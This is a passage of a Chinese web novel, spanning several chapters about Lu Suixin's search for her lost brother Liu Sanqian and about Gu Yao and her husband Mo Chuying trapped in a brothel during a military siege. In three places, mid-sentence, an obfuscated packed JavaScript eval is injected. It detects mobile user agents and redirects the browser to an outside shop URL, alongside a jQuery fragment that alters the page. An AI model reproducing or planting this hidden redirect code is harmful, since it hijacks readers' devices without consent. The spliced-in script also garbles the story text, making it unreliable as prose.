“你这是又要去哪儿啊?天都没亮完呢。”李芸娘拉住她的手,蹭到了那根中指的指甲处,疼得陆随心嘶嘶作响。 李芸娘吓得刚要放开她,又握住她的腕子,抓到眼下,一根根地看过来,找到了崎岖坑洼的那一处,叫道,“哎哟!作孽呀!这指甲怎么没了?这不得疼死了!得赶紧上点药……” “没事,不小心劈了,好几天了,差不多都好了。”李芸娘的掌心滚烫,陆随心赶紧把自己的手抽了回来,打断了她的话,“我要去找个人。” “找谁啊?阿姊,我同你一道去。” “小孩子别乱掺和!” 李芸娘扶住陆少疾的肩膀往自己这儿带了半步,眼却在陆随心脸上来来回回地扫了一圈又一圈,“你这是……要去找那个俊俏的黑衣人?” “俊俏”二字一加上,这话显然是带着揶揄的。 陆随心有些生气,这会儿不知怎么就又想起了民安村那空荡荡的屋子,想起在员外府她们吵的架,想起她暗指自己害了三钱,拂袖道,“不用你管!” 李芸娘脖子一抻,似是被陆随心突如其来的气愤冲撞了。 犹记得那天吵完架,就听儿子哭着说阿姊被抓走了,问他是谁怎么回事,却什么也说不清,只说“黑的黑的一身黑的黑衣人”,她急得立刻去求员外帮忙,被员外的亲娘贴着脸一顿冷嘲热讽,说她自搬进府里,光给那没露过面的女儿求三求四,知道的是她嫁了员外当妾,不知道的还以为她这是过来当祖宗呢。 那边被婆婆不留情面地骂个底朝天,这边还要一腔好心全被当了驴肝肺。 “好好好,我不管,我哪管得了大小姐,你爱去哪去哪,爱找谁找谁,爱死在外头就死在外头……”说着说着哭腔涌了上来,就是“死”这个字,她这几个月里想了太多回,尤其是人回来了又被莫名抓走,更是夜夜梦魇,一出口便像成了真,真是一点说不得。 这回轮到陆随心骂不出口了。 吵归吵,哭不就耍赖皮了吗?这样她还怎么说重话。 “好了,你要走你就走,大不了我再求一次员外……” 虽说刚刚冒充了一回“员外女儿”,可听到这俩字她还是浑身不适,她的家结满蜘蛛网不就是因为这腰缠万贯的员外吗?恨恨道,“你求他做什么?” 李芸娘不说话了。 陆少疾把话接了过来,“求他找你啊,娘嫁给员外就是因为当初他答应帮我们寻你回来。” 这下倒好,陆随心也不说话了。 不仅不说话了,连看李芸娘的脸都不敢了。 仰着脸的陆少疾戏看得欢快,眼睛滴溜溜地在俩人脸上乱转,嘴角因为极力的抑制而略显抽搐,见俩人都许久不说话,这才转期待为失望,“诶,怎么不吵了呀……” 陆随心赏了他一对眼白,可体内之气乱窜,脸红了,脚也麻了,手不知往哪儿放,怎么都不舒服,索性先不理这事,可语气已经软了下来,“那……我也得走,反正这人我是一定要去找的。” 见她这样,李芸娘知道她的气算是过去了一半,也便没提方才的事,把话题一道转了过来,“这人是谁这么重要?非要你拖着现在这半死不活的身体去找?你看看你现在满脸泥泞瘦得跟个猴儿似的,我不是和你说过男人都不是什么好……” 大约是见到自己儿子在旁边,李芸娘不往下说了,可心中也有了眉目,这一天到晚拿着话本过日子的姑娘,能突然春心萌动随便为个男人命都不要了?除非…… “莫非是……” 陆少疾听不懂这哑谜,扯着他娘的袖子,“啊?那人是谁啊?” “你若身上还有闲银子,便与我些,我路上也方便些,不必再睡山洞吃果子了。”陆随心伸出手去。 “你还什么都没告诉我,之前去哪儿了?这回又是被谁抓了?怎么跑回来的?是不是……当年的事……还有那张纸上……” “你没烧?” “烧、烧了啊,那么危险的东西留着干啥啊。” 陆随心追问,“那烧之前你看没看?” “我也不识几个字,能看懂啥,直接烧了。” “烧了就烧了吧。”没烧还徒增烦恼呢,陆随心抓了抓头,又把手伸过去,“你快给我些银两,便带陆少疾回去吧。” 李芸娘刚要去掏钱,又住了手,夹着嗓子,“我说,送少疾八卦锁的人,真是……真是那个柳三钱?” “对,就是他,我非把他找回来不可。” “柳三钱是谁?”陆少疾眨巴着眼问,他知道他们家以前姓柳,可从没听过这个名号。 李芸娘听她承认,心里反而没了底,“怎么这么多年过去了突然就出现了,不会是什么骗子吧?你怎么知道这人就是他啊?” “柳三钱是谁啊?”陆少疾又问了一遍。 “我之前见过他了,他也没承认,是我猜出来的,就是他。”阿柒的脸又撞了进来,陆随心想到他挨的五十鞭子,想到他这样了还在找自己,不禁喉头发苦,脸也垮了下来,“反正是我欠他的,就算把命搭上,也是我死不足惜。” “呸呸呸,别说这浑话。”李芸娘知道她和柳三钱的过去,当初在被洗劫的那间客栈,她们二人抱在一起,陆随心哭着说柳三钱回家就找不到她了,涕不成声地把自己干的荒唐事讲了一遍,哭得那叫一个撕心裂肺。 李芸娘听出一个十岁孩子的愧疚,也知道这件事将成为挥之不去的阴影伴随她一辈子,可其实那天在员外府吵架时说她害人家纯粹是气话,要李芸娘说,这事儿并没有那么严重,那男孩兴许还因祸得福了。 李芸娘也知道这倔起来像驴的姑娘是劝不住的,在她当初想卖身养家那一刻,听到这姑娘说“除非带我一起”的时候,她就知道,柳家这姑娘和一般人不一样,决定了要做的不要做的事情,旁人都拦不住。 再说了,扣着心问自己,难道她不想把自己和儿子从这事里摘得远一些吗? 这般想着又多了些歉疚,李芸娘从身上掏了几张银票递过去,快被接住时又缩了回来,切切道,“找人归找人,命还是要留着的。” “知道。” 听到这句应承,那些银票才又到了她面前,还有一句意味深长的切切叮嘱,“我知道我拦不住你,可你也别……陷得太深,有些事过去了就过去了吧。” 被当做挂件晾在一旁的陆少疾终于忍不住跺起脚来乱喊,“柳三钱到底是谁啊?!你们作甚都不理我!” 陆随心皱了皱眉,似乎不愿回答这个问题。 李芸娘见儿子又羞又恼,弯腰去哄他,摸着他的背替他顺气,“乖,别气别气。” “是谁啊?到底是谁啊?那个送我八卦锁的黑衣人?柳三钱到底是谁啊?”陆少疾拂开娘亲的手,在俩人中间又蹦又跳,恨不得就地打起滚来。 “陆少疾,你是想把所有人叫醒看你在这儿耍宝吗?” “那你赶紧告诉我呀。” “我就不说!和你又没关系。” “那我就哭!”陆少疾觉得这话没什么杀伤力,双手一叉腰,“你先把人家送我的八卦锁还我。” 陆随心看了眼手里的东西,哪肯交出去,赶紧收了起来。 “阿姊耍赖!抢我东西还不告诉我人家是谁!” “好了好了。你别逗他了,就告诉他嘛,等你找回来不也是要相认的嘛。”李芸娘搂着儿子,望进他闪着光的眼睛,把答案丢了进去,“那人是你阿姊的弟弟。” “阿姊的弟弟?”光凝滞在了陆少疾眼里,就像民安村隔壁张叔家养的呆头鹅,“是什么意思?” “就是你哥。”陆随心猛拍了他一下。 活了十二个年头突然蹦出来一个哥哥会是什么心情?陆少疾很难形容。 首先是懵。那感觉就像他和阿姊一起出去扔尸体最后却莫名其妙一个人回了家,好像是假的,有点做梦没醒的感觉。 不相信。 接着便是脑袋里反复不断盘旋着这件事,由小及大、从轻到重,像过年时放的鞭炮,扔出去一个,炸了,扔出去一个,炸了,扔出一把,噼里啪啦噼里啪啦噼里啪啦,把整个村都炸起来了。 对,这就是他的感觉。 ——“我有哥哥了!” 陆少疾抓住陆随心的双手,踮着脚伸直了脖子,“阿姊,你莫要骗我,那……那个脸煞白的黑衣人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997730|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他真是我哥哥?” “别在这发疯了,陆少疾,快跟你娘回去吧。”陆随心眉头紧皱,呵斥着,一边将银票随手塞进怀里,就要转身离开。 “慢着!找兄长一事,可万万不能落下了我!” 陆随心想这小子可真是不害臊,兄长就这么叫上了,头也没回,只抬手对背后做了一个挥开的姿势。 “行了,少疾,我们回去等你阿姊吧,啊,乖。”李芸娘又柔声劝起来。 “不,娘,我非去不可。”说罢就朝陆随心喊了一句,“阿姊!我知道去哪儿能找到他!” 果然这句话一喊,就让陆随心硬生生停下了步子。 她虽拿了银两,抱着必死的决心出发,可其实完全不知要从何寻起,能有条线能让她循着不必做无头苍蝇自然是好。 陆随心回过身,陆少疾已经跑到了自己跟前,身后的李芸娘正愁容夹着怒意地追上来。 她半是狐疑地问,“你说,他去哪儿了?” “我若现在告诉你,你转身就走,怎么办?” “陆少疾!你在这儿发什么疯,快跟我回去!”李芸娘很少摆出这样的脸色,也很少用五根手指那么用命地抠住儿子的手腕,不惜在那里留下印记也要阻止他。 十二岁的陆少疾身量也差不多到了李芸娘胸前,倔起来力道着实不小,跟扎在地里的老山根一样,怎么扯都扯不掉。 “赶紧说出来然后跟你娘回去!” “你不带我走我就不告诉你!” “陆少疾!你信不信我打断你的腿!” 这句话一出,三人都静了。 若是陆随心的口里说出来的,那不过是十二年来无数次不耐烦的威胁之一,可这话却偏偏是李芸娘说的,恨不得把陆少疾含在嘴里的李芸娘。 陆少疾一愣,随即梗着脖子,喊了一句,“我不信!别说打断腿了,我死也要去!” “啪——!” 鸡舍传出的鸣叫震响了这一隅的沉默。 呱呱坠地至今第一次挨了一巴掌的陆少疾的脸在东升的稀薄日光下现出几道红色来。 他的脑袋垂了下去,眼眶湿润,嘴唇翕动,像是受了这辈子最大的委屈。 陆随心看着他,有点好笑还有点羡慕,好笑是没见过陆少疾这般表情,羡慕是大约知道李芸娘绝不会这般对自己,若是亲爹亲娘尚在,会不会也打她一个巴掌不允许她去冒这趟险呢? “都十二岁了,哭什么哭?不羞啊?”她拍了拍陆少疾,又把那八卦锁掏出来递给他,“别惹你娘生气了,你不想说也罢,凭你阿姊我的聪明才智,不消几日就能找到。” “……京。”五指印旁的小嘴嗫嚅着。 “什么?” “永京。”陆少疾吸了吸鼻子,摁着失而复得的八卦锁,咕哝着又说了一遍。 这一次陆随心听清楚了,却不敢相信,“他……他去永京了?!” 那不正是柳宅所在之地吗?是她出生长大的地方,是她带着三钱去吃酥糖饼的地方,也是他们分离的地方。 她虽对李芸娘言之凿凿地说阿柒就是柳三钱,可直到这一刻,她才真的相信她不是一厢情愿。 话本里总爱写,人与人之间是有“缘”字一说的,倘若真有缘,那便是拆不散的。 陆随心的话一出口就觉得后悔,她说错了,应该是“他回永京了”,不是去,是回,那里本就是他们的家。 “我也是猜的,因为他走的时候,我问他了,我说,你会不会带我阿姊回来?”陆少疾忍不住又吸了吸鼻子,那日真实发生的事情被他强行从脑袋里压了下去,什么一把鼻涕一把泪地冲过去抓住人家的衣袖,求人家把阿姊带回来,显然是他小小年纪一时冲动罢了,不值一提,不值一提。 “他怎么说的?” 陆少疾看了一眼挑眉逼近自己的阿姊,“他说,他就说,会。然后他还说,会给我带好吃的酥糖饼。我说是我阿姊喜欢的那种吗?他说是,就是永京的酥糖饼,那他既然要带来给我吃,总得去一趟是不是……阿姊?阿姊?” 陆少疾看着眼前忽然的空空荡荡,兄长没见着,阿姊也走了,眼泪终于还是决了堤,哗啦啦地流了出来,“阿姊——” 38. 顾瑶(五上) 在顾瑶猝不及防离开了藏香阁时,莫楚瑛就动了这辈子都没动过的念头——后悔在幼年时装病,翘去了所有习武射箭的课——倒不是说有这功夫,他就能带顾瑶从眼前万人军马封守的困境中冲出去,而是当他想出门去寻妻子的时候,绝不至于被眼前这一男一女给死死拦住。 “老爷,这位老爷,可不能冲动啊,夫人必不会有事的。再等等,再等等就该回来了。”凤小舞喊着,急急招呼老达,“快!把老爷请回来喝茶。” “富水巷……这富水巷……到底在哪里听过来着……怎么就想不起来呢,就在嘴边呀……” 正在念念有词的老达在凤娘一巴掌之下打醒,拿起手里的麻袋就要套人,又被凤娘呼了一巴掌,“把麻袋给我放下!赶紧把人拦住!” 老达这才真的醒将过来,麻袋一扔,俩手如钳子一般抱住了莫楚瑛,吼了一声,“对不住了,老爷!” “老达!也不用这样,快把人放下……” 顾瑶推门回来的时候,见到的便是这样的景象——莫楚瑛像个孩子一样被老达锁在怀里,凤小舞在旁边“摇旗呐喊”。 哪怕是定国最不受待见的王爷,遭此“劫难”,也难免脸上无光,被一个粗人箍在怀里也便算了,偏还是青楼里的龟奴!可莫楚瑛竟裂开嘴笑了,他撑着老达的双臂,把整个上半身探了出去,“阿瑶!你回来了!” 老达松了手,凤小舞也长舒了一口气,又见顾瑶身后空空,“这,丝丝呢?丝丝去哪儿了?”往屋外探出头看了一圈,半个影子都没见着,“夫人,丝丝呢?” 看着顾瑶的表情,便瞬间猜了出来,凤小舞不生气,只觉得心里揪成一团,面露哀色,跌到旁边的椅子上,叹了口气,“这时景,她能跑哪儿去?我这藏香阁,竟这么不好?叫她宁愿在外面风餐露宿也不肯留下?” “凤娘,莫生气。气坏了还得花钱看病。”老达晃着身子跟过去,“搞不好一会儿就回来了,丝丝不还怀着身子吗?” 一听这个凤小舞就更坐不住了,“就是!她还怀着身子呢,不行,我得去找她!” 顾瑶赶忙按住了她,“凤娘,她去意已决,不是旁人能左右的了的,就算寻到了她,你现在还能在那些人眼下把她绑回来不成?” “可她一个怀着身子的青楼女,在外头可怎么活?真以为能寻到那金郎把她娶回去?”凤小舞又急又气,没忍住,拍着桌子骂,“小孩心性,真是小孩心性!这把岁数了还看不懂这世道!” 顾瑶却不觉得杨丝丝是小孩子,她决心不回藏香阁的那一刻,分明是想明白了一切的样子。 世人都道所谓成人慧者就该明事理、懂尊卑、不存妄想,可其中的委曲又有谁来提?一辈子不闻不见不言,把胸膛里的那颗己心当做不存在,便算是一把岁数没白活吗? 以前的顾瑶从不会这样想,当下却止不住冒出这般念头。 那边的莫楚瑛不知她走神为何,只是喜于终得了缝隙,立马来牵住她的手,上上下下地看,“阿瑶,你可有受伤?” “我没事。” 莫楚瑛却好像不信她的话,手上的劲越来越紧,“我该同你一道去的。” 顾瑶察出他对自己的紧张,自是有些欢喜,忍不住把空着的右手伸出,替他理了理额边的发丝,“夫君,我真的没事,让你担心了。” 说罢牵着他走到一旁角落,轻声道,“我已打听清楚,外头的是沂山军。” “是……”莫楚瑛略一思索,“宗同伦?” 顾瑶点了点头,“形势不妙,长庆王不在宫中,如今整座城又都被封了起来……” “嚯,连装病都不是,索性是真不在宫中啊。”莫楚瑛似笑非笑地调侃了一句。 顾瑶这才想起来,这事本来算是个小秘密,她也没准备说出口,只等顾衡之赶紧回来,将该办该行的事宜按样完成,没必要让莫楚瑛知道这云国大王竟在出云使来的时候私自跑出城去了。 可如今大变之前,这成了没法藏着掖着的事实。 一抖出来,到底是对定国“有失远迎”,往小往大怎么都说不过去。 莫楚瑛见顾瑶不说话,猜到她在瞎盘算,这次便真笑了,“阿瑶,我不过是在玩笑罢了。毕竟这会儿他不在,倒是还能得个便宜。” 顾瑶点了点头,“可不是,若这会儿他在宫里,这事,怕是已回天乏术了。” 整个都城被围,若长庆王一家子都在宫里,这云国的明天怎么样,还不是宗同伦一声令下? 可偏偏这王位正主不在,宗同伦有心办事却无力办成。 君都不在,“清”的又是哪门子的“君侧”? 哪怕想假借贤名换袍继位,也得人在才能“名正言顺”啊。 “现下最好便是这长庆王能赶紧领支军队来,一石二鸟。”莫楚瑛恨不得这会儿就听到外头传来这般消息,宗同伦被镇压,于是,他们便能安安全全地回到迎宾馆,再顺顺利利地回定国,“那他现在何处?他若不早些行事,说不好也要吃个大亏。” “夫君是说……” “虽说全城封锁,可总也锁不了一辈子,你知道咱们那个霍大将军,该是最不愿放过这等机会的。” 这事顾瑶倒是还没想过,莫楚瑛不喜欢干人内政,霍因可没这顾虑,“我方才假装去医馆的时候认识了个叫阿良的小军士,还是个孩子,我对他说……有家人在永京,叫他寻着机会替我传个消息去。” “胡……”莫楚瑛不愿总驳斥顾瑶说她“胡闹”,便及时改了话头,直接点出此事之荒谬,“你叫宗同伦的手下帮你传消息给顾衡之,叫顾衡之赶紧搬救兵来抓宗同伦?” “是啊。”这听起来确有些不像话,但也实实在在是顾瑶所做之事,是她听到阿良那般言之凿凿地说出“忠君护主”四个字后想到的唯一办法,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006350|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我把消息写得极为含糊,能不能传过去,能不能被看懂,全看天了。否则我还能怎么办?你不知,方才我在街上看见了富林……” 莫楚瑛双眼忽闪,“富林?” “身前身后都有人跟着,挨家挨户在找人。” 一个定国的公公,在云国都城的街头,被押着寻人,能是寻谁?自然是他的主子。 “夫君……王爷,这事,我们躲不过的。”顾瑶像突然吞了一口黄连,眼低垂,唇紧抿,嘴里是苦,心底却是直面此番风云的勇气。 他们一个是嫁给定国王爷的安平公主,一个是被封为出云使的定国王爷,无论如何,都已经注定了要被这“你方唱罢我登场”的王侯将相的游戏给卷进去。 躲不过,是他们的命。 莫楚瑛知她说的句句在理,却仍不喜此番的生死难料,竟一伸手将她搂入了怀中。 虽说是在角落里,但好歹就是在藏香阁的大堂,凤小舞照旧离得远远的,非礼勿视非礼勿言,旁边的老达可没忍住,嘀咕了一句,“这有钱人家的事确实看不懂,怎么老夫老妻的也这么腻歪。” 凤小舞打了他一掌,叫他别乱开口。 这事不仅老达奇怪,顾瑶也愣住了,他们成婚四年,何来这样“大庭广众”下“不知羞耻”的时候? 可想归想,顾瑶也不愿挣开,之前吵架吵了那么些时日,这胸膛竟也变得有些陌生,一陌生反而更叫人热得发烫,她轻轻唤了一声,“夫君……” 其实在真正和莫楚瑛相识相知之前,顾瑶从未曾设想过,自己会和定国的三皇子过上什么样的生活。 也不能说完全没想过,大约是对照了一下她母妃和父王的模样,冷清、疏离、上下有别、说话客套、从不对彼此露出笑脸,明明都是她血缘上最亲近的人,却永远隔着一丈远的距离。 嫁去定国之前,顾瑶想这样也没什么不好,你是你、我是我,天各一方永远到老,只要她和的这门亲真的给云国带去了几年安详,便算是值得。 可洞房夜他那般和自己说话时,顾瑶就觉得,可能还是会不一样。 让她下定决心想要在和亲公主的身份之外,再试试去做莫楚瑛的妻子,是因为在定国第一次来癸水。 不是因为葵水来了乱了什么阴阳五行,叫她脑子里突然生出这样奇怪的念头,而是葵水来了下腹胀痛,害得她一口饭也吃不下。 那是她到定国的第十五日。 除了掀盖头的那一面,顾瑶就再没见到过莫楚瑛,可他说的话却时时陪伴左右——宫里的厨子应是得了他的令,做给她的每一日三餐都是云国菜,只不过,菜谱雷打不动,菜色从未变过,同样的六道菜,她吃了半个月。但因每一日都没落下功课修习,食欲倒也颇盛。 反而桑凌替她委屈,“这不就是存心的嘛。” 可这一日饭菜却被原封不动地退回去,便惊动了莫楚瑛。 39. 顾瑶(五下) 桑凌取热水给顾瑶备暖炉的时候,恰好碰上了在膳房“责问”此事的富林,回来和公主通报,大约是觉得借此机会,能得个伸张的途径,颇为开心。 可顾瑶却只叫她赶紧带自己过去,意欲平息此事,她在定国人生地不熟,不想为此徒招骂名,到时坏的不仅是她的声誉,还有母国的。 到了那儿,才发现事情和想象中不大一样,那位“身宽体胖”的御厨单手叉腰,显然全不买富林的账。 顾瑶怕直接冲进去搅乱了局势弄巧成拙,便躲在了一边静观其变。 胖御厨的眼皮都懒得抬,靠在回廊的圆柱上,有一搭没一搭,“我说这位公公,三皇子交待给这新来的三皇妃做那云菜,我可有哪一天没做?” “可方才听你的意思,是给三皇妃的菜,竟十五天都没改过菜色……” “竟?公公可真是说笑了,我一个定国厨子,能会那么几道云菜,已是稀奇了。” “那你的意思,是明日、后日、往后每一日,都还是只会给皇妃做这一模一样的六道菜?”富林皱着眉,又问了一遍。 “诶,公公不是很通透嘛。”胖御厨假意划拉了一下手,作了半个揖,拉长了语调,“三皇子吩咐的事,我们这些做奴才的又岂敢不遵呢。” “公主、公主……” 顾瑶一边强撑着要抵御腹部疼痛,一边还要竖起耳朵听着前方的对话,这会儿又被旁边的桑凌轻扯着袖子乱喊,便觉得脑门的汗都要滴下来了,“怎么了?” 桑凌拼命使着眼色,顺着她的目光一看,那玉袍修立的皇子不知何时站到了自己旁边,“皇妃也亲自来了?怎么脸色这样不好?” 顾瑶以为自己装得很妥帖,却被他一眼看穿,一时不及反应,好一会儿才点了点头,点完头又觉得不对劲,便要解释,“三皇子,我今日没吃那饭菜,实则是……” “参见三皇子、三皇妃。”富林听到他们说话声,立刻转过头来跪地请安,恰好打断了顾瑶的话。 旁边的胖御厨也循声看来,晃了晃脑袋,也跪了下去,“参见三皇子。” 莫楚瑛低下头,对她低语道,“可否再坚持片刻?” 顾瑶望着他真心询问的眼神,真切看出了只要自己说不,他就会放弃接下来要做的事,便忍不住点了点头。 “那随我来。”莫楚瑛也不知自己什么想法,手就这么伸了出去牵起了她的,一路带着她走到那御厨面前,笑着说,“我道你这厨子只是厨艺不精,不料竟连眼神也不大好。” “奴才不敢!”胖御厨慌忙伏下了身去,细如蚊吟地补了一句,“参见三皇妃。” 顾瑶因疼痛而汗湿的手就这么被莫楚瑛抓了过去,心头忽而爬上了密密麻麻的虫蚁,又痒又麻,腹部却越来越胀,她只觉得自己浑身酸软,下一瞬就要跌下去了。 “我还听说,你不是很会做云国菜啊……” “三皇子,奴才、奴才是定国的厨子,云国菜做起来不拿手……也是、也是……” “也是罪不至死。”莫楚瑛替他把话接了。 可这话接的倒是叫胖御厨有些胆战心惊。 虽说整个定国的皇宫都知道,三皇子是个不受宠的主儿,旁人有意无意也爱私下拿他调侃两句以作消遣,可人家毕竟是皇帝的儿子,到底还是个动动手指就能定他们生死的人上人,只是谁能料想这个向来闷声不说话的主子竟真会亲自跑来为一个云国人威胁他? 胖御厨屁股一紧,“三皇子恕罪!三皇子恕罪!奴才日后必定尽心尽力,为皇妃烹制云菜,道道不重样、日日不重复。” 顾瑶见他这般,觉得好笑,一时忘了手还被抓着,也忘了自己的不适,悠悠道,“不必了。” “哦?”莫楚瑛故意瞪大了眼,放大了声量,“皇妃是想索性再不吃他做的菜?这更无妨了,有的是厨子想进这御膳房来……” 胖御厨头摇得似拨浪鼓,“皇子恕罪!皇妃恕罪!再给奴才一次机会罢!奴才知错了,奴才知错……” “我的意思是……”顾瑶转过头去看了看莫楚瑛,又回过头,对着胖厨师才把话说全,“以后三皇子吃什么,我便吃什么。” 这话听着像是要入乡随俗,又好像含着点别的意思…… 莫楚瑛一愣,忽而觉到掌心里握着的手动了,四根手指紧紧抠住了他的手背,这才想起来一直忘了放开人家。这会儿自然更加放也不是,不放也不是,只好掩饰般对着御厨继续提点,“既如此,你听到了?” 胖御厨点头如捣蒜,“听到了,奴才听到了!” 俩人就这么莫名其妙牵着手离开了御膳房。 虽说是名正言顺娶过来的妻子,可到底才第二次见面,莫楚瑛也有些慌神,不知该在什么时机放开才算合适。 还是突如其来的一阵痉挛害得顾瑶脸色惨白地低呼了一声往后退去,那手才分开。 “皇妃这是……”莫楚瑛拍了拍富林,“快去请御医。” “不必,我回去躺一会儿便好。” 旁边的桑凌递过去一个小小的暖手炉,顾瑶接过往自己肚子上贴了过去,莫楚瑛一看便了然,“那、那我……送送皇妃。” 从御膳房到顾瑶寝宫的路,算不得太远,可也不近,一开始四个人就这么两前两后鸦雀无声地走着。 莫楚瑛一直酝酿着想说些什么,思前想后找不到话题,一张嘴便瞎问,“咳,皇妃这是……第几日了啊?” 这话一出,后边的桑凌富林没忍住对视了一下,果然都在彼此眼里看到了震惊的自己。 倒是顾瑶忍着痛很认真地解释,“三皇子,我方才的意思,是想先和你……一起用膳。” “啊……”听到她的话,莫楚瑛才知道自己方才的问题听起来像什么,笑了,“叫你误会了,我也只是……关心你一下。” 这关心顾瑶是受用的。 从那一天起,莫楚瑛的每一次关心,她都受用。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015443|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像如今在藏香阁莫楚瑛毫无预兆的拥抱一样。 许是围城之中前路未知,顾瑶便允许自己不去想其余一切,有没有人看着,看着又如何? 她将手伸出,在莫楚瑛的背后环了起来。 他很瘦,顾瑶每次抱他都觉得自己的手臂尚有许多盈余,如此,便两条手臂交叠,两人之间可以贴得更近。 “阿瑶,我定会竭尽全力保护好你的。” 这绝对算得上是莫楚瑛最掏心的情话了。 他不会说“我一定会保护好你”,而是说“一定竭尽全力”。 他不夸海口,也不随意承诺,他不高高在上,也不一意孤行,顾瑶一直觉得遇上他算是自己的幸运。 是,她不需要一个翻手为云覆手为雨的君王,也不需要一个只会将她挂在腰间的莽夫,她就喜欢这样的不爱矫饰的莫楚瑛,他从不怕展示脆弱,但也从不怕被脆弱打败。 顾瑶把脑袋埋进了他胸膛里,闷声道,“楚瑛,我也会竭尽全力保护好你的。” 莫楚瑛愣了愣,什么也没说,只是把她抱得更紧。 “哦!我想起来了!” 这旖旎温情的气氛里突然扎出一句粗粝响亮的喊声,震开了拥在一起的莫楚瑛和顾瑶。 凤小舞勉强摆着笑,向远处的二人示意,实在是身边的人无状了些,一边狠狠地对着老达打了下去,“你吼啥!你吼啥!全天下就你有嘴啊!” 老达将被打的手臂紧紧贴着自己的身躯,却也不敢躲,“凤娘,我就是方才一直在想那个事儿,这会儿终于想起来了,一激动,就……没忍住。” “想什么!啊?你还会想事情呢?” 老达有些委屈,“我是想起富水巷在哪儿了。” “哦,就在想这个啊?我当是什么了不得的事呢。”凤小舞挥着团扇,想把自己脸上热火朝天的怒气给扇下去。 “这事也了不得。” 老达神秘兮兮地要凑到凤小舞耳边,却被她又一扇子挡了开去,“别搞这些!有话直接说!” “就是昨天送菜的提起的,说今天要给宫里送菜,因为要招待出云使嘛。”老达越说越激动,脸红了起来,声也愈发响亮,“富水巷!迎宾馆不就在那儿嘛!” 这下凤小舞不打老达了,木然地转脸看那锦衣绸缎的男女,像是没听懂什么意思。眼前这二位是那定国来的王爷?那这夫人是……安平公主? “嘶——”凤小舞倒抽了一口气。 在这非常关头,店里藏着这二位,是福是祸啊? 不待她想清楚,也不等顾瑶上前和她解释,藏香阁的大门被一把推开,一个全副武装的士兵冲进来,大喊一声,“找人!”说罢往后一喊,“公公,你里边请吧。” 一只皂青色的靴子踩了进来,最上面的圆脸盘挂着满满汗水,直呼,“二位军爷,是真寻不着呀,我家主子是真不知去哪儿……” 富林的话在看清屋里几人的脸后戛然而止。 40. 随心(六上) 阔别十二年的永京城对陆随心来说,也陌生,也熟悉。 石板街、扶风柳、青砖黑瓦,高低错落。 街上照旧人来人往,吃食街更是热气腾腾,好多店铺还是当年的招牌、当年的人,和记忆里别无二致。 陆随心一眼就见到了那家酥糖饼店,人却退缩地想往外逃。 “林家铺”的招牌经数十年风雨,已然褪色,字快化到了底部的黑木中。 门口正将几个饼折到油纸包里的是店老板林叔,陆随心记得他,和当年一样的长脸扁嘴,只是头发更白了些,脸上的皱纹在角角落落里都多生出了几道。 以往每次来买,林叔都喜欢亲热地叫她一声“小盼儿”。 “小盼儿来啦。”“小盼儿今天要几个啊?”“林叔给小盼儿留着饼呢。” 陆随心想去买个饼,怕被他认出来,也怕他认不出,这般想着,腿已经带着身子站去了买饼的人堆里——其实也就几个人围着,人再多大家就会另择时候来买了,各有各的营生,再好吃的饼也经不住无止境地等。 “这位姑娘要几个啊?”很快前边的人相继散去,只剩下了陆随心。 林叔问到她的时候,还低着脑袋在包饼,许久没听到回答才又抬起头来,看了一眼,笑着招呼,“新客人呀。” 没认出来。 心中一阵塌陷,也不知是失落还是“果然如此”的应承。 陆随心把六枚铜板递过去,“两个就行。” “姑娘倒是知道我们的价呀。”林叔收过钱,把两个饼认真包好了送到她手里,一抬头,若有所思,“诶……姑娘你长得……” 咯噔。 陆随心拿饼的手冻住,不敢动了。 “长得挺像我一位老客。” “……是吗?” “她眉上也和你一样,有一小块红斑,不过那是好久以前的事了。”林叔额上的几道横纹挤到了一起,晃着脑袋叹了口气,不甚悲哀道,“挺机灵一孩子,人估计都烧没了。” 身后正在揉面粉的林婶用手肘捅了一下林叔的后背,“净说这些干啥!” 陆随心浑身一激灵,手不稳,差点把刚买的饼抖地上,赶忙转开了话去,“我是外乡人,有朋友告诉我你家饼好吃我才来的。” 这会儿没有其他人来,林叔也乐得把手中活放下,聊了起来,“是吗,哪位朋友?下次碰上他我给他多送几个饼吃。”说罢就把炉边剩的饼又包了一份,“这份先送你,别客气,我俩这也是有眼缘。” “多谢……老板。”陆随心把饼一并拢了,顺藤摸瓜地问,“我那朋友你想必还真有印象,他总喜欢穿一身黑衣服,脸上总也没什么表情,不过生得倒是俊俏。” 林叔一听,细细思索起来。 “就那个嘛。”林婶甩了甩手,也走上前来,搡了搡呆立在那的丈夫,见他仍旧一副不知所谓的样子,有些急,“哎呀,就那个俊小哥呀,乍一看有点严肃,人像冰碴子,一说话又直条条的。” 